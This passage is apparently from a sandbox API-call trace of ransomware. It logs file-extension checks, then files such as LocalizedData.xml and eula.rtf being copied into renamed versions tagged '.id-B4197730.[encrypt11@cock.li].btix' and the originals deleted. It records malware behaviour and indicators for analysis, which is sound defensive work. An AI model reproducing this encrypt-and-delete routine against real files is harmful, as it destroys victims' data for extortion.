(lpString=".docx") returned 5 [0042.428] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0042.428] lstrlenW (lpString=".pdf") returned 4 [0042.429] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.429] lstrlenW (lpString=".xls") returned 4 [0042.429] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.429] lstrlenW (lpString=".xlsx") returned 5 [0042.429] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0042.429] lstrlenW (lpString=".ppt") returned 4 [0042.429] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0042.429] lstrlenW (lpString=".zip") returned 4 [0042.429] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.429] lstrlenW (lpString=".rar") returned 4 [0042.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.429] lstrlenW (lpString=".bz2") returned 4 [0042.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.429] lstrlenW (lpString=".7z") returned 3 [0042.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0042.429] lstrlenW (lpString=".dbf") returned 4 [0042.429] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0042.429] lstrlenW (lpString=".1cd") returned 4 [0042.429] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44 [0042.429] lstrlenW (lpString=".jpg") returned 4 [0042.429] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.429] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0042.429] lstrlenW (lpString="LocalizedData.xml") returned 17 [0042.429] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0043.104] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=82962) returned 1 [0043.105] CloseHandle (hObject=0x35c) returned 1 [0043.105] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0043.105] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0043.105] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.105] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0043.218] GetLastError () returned 0x0 [0043.218] ReadFile (in: hFile=0x35c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x14412, lpOverlapped=0x0) returned 1 [0043.236] WriteFile (in: hFile=0x348, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x14420, lpOverlapped=0x0) returned 1 [0043.237] ReadFile (in: hFile=0x35c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.238] WriteFile (in: hFile=0x348, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.238] SetEndOfFile (hFile=0x348) returned 1 [0043.238] CloseHandle (hObject=0x348) returned 1 [0043.240] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.240] SetEndOfFile (hFile=0x35c) returned 1 [0043.241] CloseHandle (hObject=0x35c) returned 1 [0043.241] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.241] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0043.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0043.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0043.251] lstrlenW (lpString=".doc") returned 4 [0043.251] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.251] lstrlenW (lpString=".docx") returned 5 [0043.251] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.251] lstrlenW (lpString=".pdf") returned 4 [0043.251] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.251] lstrlenW (lpString=".xls") returned 4 [0043.251] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.251] lstrlenW (lpString=".xlsx") returned 5 [0043.251] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.251] lstrlenW (lpString=".ppt") returned 4 [0043.251] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0043.251] lstrlenW (lpString=".zip") returned 4 [0043.251] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.251] lstrlenW (lpString=".rar") returned 4 [0043.251] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.251] lstrlenW (lpString=".bz2") returned 4 [0043.251] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.251] lstrlenW (lpString=".7z") returned 3 [0043.251] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0043.252] lstrlenW (lpString=".dbf") returned 4 [0043.252] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0043.252] lstrlenW (lpString=".1cd") returned 4 [0043.252] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0043.252] lstrlenW (lpString=".jpg") returned 4 [0043.252] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0043.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0043.252] lstrlenW (lpString=".doc") returned 4 [0043.252] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString=".docx") returned 5 [0043.252] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.252] lstrlenW (lpString=".pdf") returned 4 [0043.252] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString=".xls") returned 4 [0043.252] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString=".xlsx") returned 5 [0043.252] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.252] lstrlenW (lpString=".ppt") returned 4 [0043.252] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0043.252] lstrlenW (lpString=".zip") returned 4 [0043.252] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.252] lstrlenW (lpString=".rar") returned 4 [0043.252] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString=".bz2") returned 4 [0043.252] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.252] lstrlenW (lpString=".7z") returned 3 [0043.252] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0043.253] lstrlenW (lpString=".dbf") returned 4 [0043.253] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0043.253] lstrlenW (lpString=".1cd") returned 4 [0043.253] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0043.253] lstrlenW (lpString=".jpg") returned 4 [0043.253] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.253] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0043.253] lstrlenW (lpString="LocalizedData.xml") returned 17 [0043.253] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0043.253] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=86442) returned 1 [0043.253] CloseHandle (hObject=0x35c) returned 1 [0043.253] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0043.253] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.253] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0043.253] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.254] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.254] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0043.254] GetLastError () returned 0x0 [0043.254] ReadFile (in: hFile=0x35c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x151aa, lpOverlapped=0x0) returned 1 [0043.326] WriteFile (in: hFile=0x348, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x151b0, lpOverlapped=0x0) returned 1 [0043.328] ReadFile (in: hFile=0x35c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.328] WriteFile (in: hFile=0x348, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xf6, lpOverlapped=0x0) returned 1 [0043.328] SetEndOfFile (hFile=0x348) returned 1 [0043.328] CloseHandle (hObject=0x348) returned 1 [0043.330] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.330] SetEndOfFile (hFile=0x35c) returned 1 [0043.331] CloseHandle (hObject=0x35c) returned 1 [0043.332] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.332] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0043.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0043.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0043.332] lstrlenW (lpString=".doc") returned 4 [0043.332] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.332] lstrlenW (lpString=".docx") returned 5 [0043.332] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.332] lstrlenW (lpString=".pdf") returned 4 [0043.332] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.332] lstrlenW (lpString=".xls") returned 4 [0043.332] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.332] lstrlenW (lpString=".xlsx") returned 5 [0043.332] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.332] lstrlenW (lpString=".ppt") returned 4 [0043.332] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0043.333] lstrlenW (lpString=".zip") returned 4 [0043.333] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.333] lstrlenW (lpString=".rar") returned 4 [0043.333] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.333] lstrlenW (lpString=".bz2") returned 4 [0043.333] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.333] lstrlenW (lpString=".7z") returned 3 [0043.333] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0043.333] lstrlenW (lpString=".dbf") returned 4 [0043.333] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0043.333] lstrlenW (lpString=".1cd") returned 4 [0043.333] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0043.333] lstrlenW (lpString=".jpg") returned 4 [0043.333] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0043.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0043.333] lstrlenW (lpString=".doc") returned 4 [0043.333] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.333] lstrlenW (lpString=".docx") returned 5 [0043.333] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0043.333] lstrlenW (lpString=".pdf") returned 4 [0043.333] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.333] lstrlenW (lpString=".xls") returned 4 [0043.333] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.333] lstrlenW (lpString=".xlsx") returned 5 [0043.333] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0043.333] lstrlenW (lpString=".ppt") returned 4 [0043.333] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0043.334] lstrlenW (lpString=".zip") returned 4 [0043.334] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.334] lstrlenW (lpString=".rar") returned 4 [0043.334] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.334] lstrlenW (lpString=".bz2") returned 4 [0043.334] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.334] lstrlenW (lpString=".7z") returned 3 [0043.334] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0043.334] lstrlenW (lpString=".dbf") returned 4 [0043.334] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0043.334] lstrlenW (lpString=".1cd") returned 4 [0043.334] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0043.334] lstrlenW (lpString=".jpg") returned 4 [0043.334] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.334] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.334] lstrlenW (lpString="eula.rtf") returned 8 [0043.334] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0043.334] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=10125) returned 1 [0043.334] CloseHandle (hObject=0x35c) returned 1 [0043.335] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0043.335] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.335] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0043.335] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.335] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.335] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0043.335] GetLastError () returned 0x0 [0043.335] ReadFile (in: hFile=0x35c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x278d, lpOverlapped=0x0) returned 1 [0043.372] WriteFile (in: hFile=0x348, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2790, lpOverlapped=0x0) returned 1 [0043.373] ReadFile (in: hFile=0x35c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.373] WriteFile (in: hFile=0x348, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.373] SetEndOfFile (hFile=0x348) returned 1 [0043.373] CloseHandle (hObject=0x348) returned 1 [0043.374] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.374] SetEndOfFile (hFile=0x35c) returned 1 [0043.374] CloseHandle (hObject=0x35c) returned 1 [0043.375] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.376] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0043.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0043.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0043.377] lstrlenW (lpString=".doc") returned 4 [0043.377] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.377] lstrlenW (lpString=".docx") returned 5 [0043.377] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.377] lstrlenW (lpString=".pdf") returned 4 [0043.377] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.377] lstrlenW (lpString=".xls") returned 4 [0043.377] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.377] lstrlenW (lpString=".xlsx") returned 5 [0043.377] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.377] lstrlenW (lpString=".ppt") returned 4 [0043.377] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0043.377] lstrlenW (lpString=".zip") returned 4 [0043.377] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.377] lstrlenW (lpString=".rar") returned 4 [0043.377] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.377] lstrlenW (lpString=".bz2") returned 4 [0043.377] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.377] lstrlenW (lpString=".7z") returned 3 [0043.377] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0043.377] lstrlenW (lpString=".dbf") returned 4 [0043.377] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0043.377] lstrlenW (lpString=".1cd") returned 4 [0043.377] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0043.377] lstrlenW (lpString=".jpg") returned 4 [0043.377] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0043.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0043.378] lstrlenW (lpString=".doc") returned 4 [0043.378] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.378] lstrlenW (lpString=".docx") returned 5 [0043.378] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.378] lstrlenW (lpString=".pdf") returned 4 [0043.378] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.378] lstrlenW (lpString=".xls") returned 4 [0043.378] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.378] lstrlenW (lpString=".xlsx") returned 5 [0043.378] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.378] lstrlenW (lpString=".ppt") returned 4 [0043.378] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0043.378] lstrlenW (lpString=".zip") returned 4 [0043.378] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.378] lstrlenW (lpString=".rar") returned 4 [0043.378] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.378] lstrlenW (lpString=".bz2") returned 4 [0043.378] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.378] lstrlenW (lpString=".7z") returned 3 [0043.378] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0043.378] lstrlenW (lpString=".dbf") returned 4 [0043.378] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0043.378] lstrlenW (lpString=".1cd") returned 4 [0043.378] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0043.378] lstrlenW (lpString=".jpg") returned 4 [0043.378] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.378] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.379] lstrlenW (lpString="eula.rtf") returned 8 [0043.379] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0043.379] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=12687) returned 1 [0043.379] CloseHandle (hObject=0x34c) returned 1 [0043.379] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0043.379] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.379] CreateFileW 